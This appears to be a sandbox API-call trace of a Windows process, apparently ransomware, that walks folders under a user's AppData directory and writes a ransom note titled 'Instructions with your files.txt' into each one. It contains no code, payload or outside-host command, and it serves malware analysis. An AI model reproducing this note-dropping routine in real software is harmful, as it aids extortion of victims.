[0131.389] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\ms project\\14\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
[0131.390] WriteFile (in: hFile=0x11c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce6e4*=0x54, lpOverlapped=0x0) returned 1
[0131.391] WriteFile (in: hFile=0x11c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce6e4*=0x18, lpOverlapped=0x0) returned 1
[0131.391] WriteFile (in: hFile=0x11c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce6e4*=0xc, lpOverlapped=0x0) returned 1
[0131.391] WriteFile (in: hFile=0x11c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce6e4*=0x16, lpOverlapped=0x0) returned 1
[0131.391] WriteFile (in: hFile=0x11c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce6e4*=0x23, lpOverlapped=0x0) returned 1
[0131.391] CloseHandle (hObject=0x11c) returned 1
[0131.391] FindClose (in: hFindFile=0x876d78 | out: hFindFile=0x876d78) returned 1
[0131.391] GetProcessHeap () returned 0x810000
[0131.391] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0131.391] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8d940a0, ftCreationTime.dwHighDateTime=0x1d305fe, ftLastAccessTime.dwLowDateTime=0x8d940a0, ftLastAccessTime.dwHighDateTime=0x1d305fe, ftLastWriteTime.dwLowDateTime=0x8d940a0, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 0
[0131.391] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\Instructions with your files.txt") returned 103
[0131.391] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\ms project\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0131.392] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0131.395] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0131.395] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0131.395] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0131.395] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0131.395] CloseHandle (hObject=0x118) returned 1
[0131.396] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0131.396] GetProcessHeap () returned 0x810000
[0131.396] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0131.397] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31a325d0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31a325d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x31a325d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Network", cAlternateFileName="")) returned 1
[0131.397] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network") returned 67
[0131.397] GetProcessHeap () returned 0x810000
[0131.397] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0131.397] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\*") returned 69
[0131.398] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31a325d0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31a325d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x31a325d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0131.398] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\.") returned 69
[0131.398] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31a325d0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31a325d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x31a325d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.398] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\..") returned 70
[0131.398] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31a325d0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31a325d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x31a325d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Connections", cAlternateFileName="CONNEC~1")) returned 1
[0131.398] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections") returned 79
[0131.398] GetProcessHeap () returned 0x810000
[0131.398] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0131.399] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\*") returned 81
[0131.399] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\*", lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31a325d0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31a325d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x31a325d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d78
[0131.399] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\.") returned 81
[0131.399] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31a325d0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31a325d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x31a325d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.399] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\..") returned 82
[0131.399] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31a325d0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31a325d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x31a325d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pbk", cAlternateFileName="")) returned 1
[0131.399] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk") returned 83
[0131.399] GetProcessHeap () returned 0x810000
[0131.399] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e0050
[0131.400] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\*") returned 85
[0131.400] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\*", lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31a325d0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31a325d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x31a325d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876db8
[0131.400] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\.") returned 85
[0131.400] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31a325d0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31a325d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x31a325d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.400] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\..") returned 86
[0131.400] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31a325d0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31a325d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x31a325d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_hiddenPbk", cAlternateFileName="_HIDDE~1")) returned 1
[0131.400] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk") returned 94
[0131.400] GetProcessHeap () returned 0x810000
[0131.400] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f1060
[0131.400] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\*") returned 96
[0131.400] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\*", lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31a325d0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31a325d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x31a325d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876df8
[0131.401] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\.") returned 96
[0131.401] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31a325d0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31a325d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x31a325d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.401] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\..") returned 97
[0131.401] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x31a325d0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31a325d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x31a325d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rasphone.pbk", cAlternateFileName="")) returned 1
[0131.401] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk") returned 107
[0131.401] StrStrIW (lpFirst="rasphone.pbk", lpSrch="SDfghjkl") returned 0x0
[0131.401] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x31a325d0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31a325d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x31a325d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rasphone.pbk", cAlternateFileName="")) returned 0
[0131.401] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\Instructions with your files.txt") returned 127
[0131.401] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\network\\connections\\pbk\\_hiddenpbk\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
[0131.401] WriteFile (in: hFile=0x124, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce1c4*=0x54, lpOverlapped=0x0) returned 1
[0131.402] WriteFile (in: hFile=0x124, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce1c4*=0x18, lpOverlapped=0x0) returned 1
[0131.402] WriteFile (in: hFile=0x124, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce1c4*=0xc, lpOverlapped=0x0) returned 1
[0131.402] WriteFile (in: hFile=0x124, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce1c4*=0x16, lpOverlapped=0x0) returned 1
[0131.402] WriteFile (in: hFile=0x124, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce1c4*=0x23, lpOverlapped=0x0) returned 1
[0131.402] CloseHandle (hObject=0x124) returned 1
[0131.403] FindClose (in: hFindFile=0x876df8 | out: hFindFile=0x876df8) returned 1
[0131.403] GetProcessHeap () returned 0x810000
[0131.403] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f1060 | out: hHeap=0x810000) returned 1
[0131.403] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31a325d0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31a325d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x31a325d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_hiddenPbk", cAlternateFileName="_HIDDE~1")) returned 0
[0131.403] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\Instructions with your files.txt") returned 116
[0131.403] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\network\\connections\\pbk\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
[0131.403] WriteFile (in: hFile=0x120, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce454*=0x54, lpOverlapped=0x0) returned 1
[0131.404] WriteFile (in: hFile=0x120, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce454*=0x18, lpOverlapped=0x0) returned 1
[0131.404] WriteFile (in: hFile=0x120, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce454*=0xc, lpOverlapped=0x0) returned 1
[0131.404] WriteFile (in: hFile=0x120, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce454*=0x16, lpOverlapped=0x0) returned 1
[0131.404] WriteFile (in: hFile=0x120, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce454*=0x23, lpOverlapped=0x0) returned 1
[0131.404] CloseHandle (hObject=0x120) returned 1
[0131.404] FindClose (in: hFindFile=0x876db8 | out: hFindFile=0x876db8) returned 1
[0131.404] GetProcessHeap () returned 0x810000
[0131.404] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e0050 | out: hHeap=0x810000) returned 1
[0131.404] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31a325d0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31a325d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x31a325d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pbk", cAlternateFileName="")) returned 0
[0131.404] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Instructions with your files.txt") returned 112
[0131.404] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\network\\connections\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
[0131.405] WriteFile (in: hFile=0x11c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce6e4*=0x54, lpOverlapped=0x0) returned 1
[0131.406] WriteFile (in: hFile=0x11c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce6e4*=0x18, lpOverlapped=0x0) returned 1
[0131.406] WriteFile (in: hFile=0x11c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce6e4*=0xc, lpOverlapped=0x0) returned 1
[0131.406] WriteFile (in: hFile=0x11c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce6e4*=0x16, lpOverlapped=0x0) returned 1
[0131.406] WriteFile (in: hFile=0x11c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce6e4*=0x23, lpOverlapped=0x0) returned 1
[0131.407] CloseHandle (hObject=0x11c) returned 1
[0131.407] FindClose (in: hFindFile=0x876d78 | out: hFindFile=0x876d78) returned 1
[0131.407] GetProcessHeap () returned 0x810000
[0131.407] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0131.407] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31a325d0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31a325d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x31a325d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Connections", cAlternateFileName="CONNEC~1")) returned 0
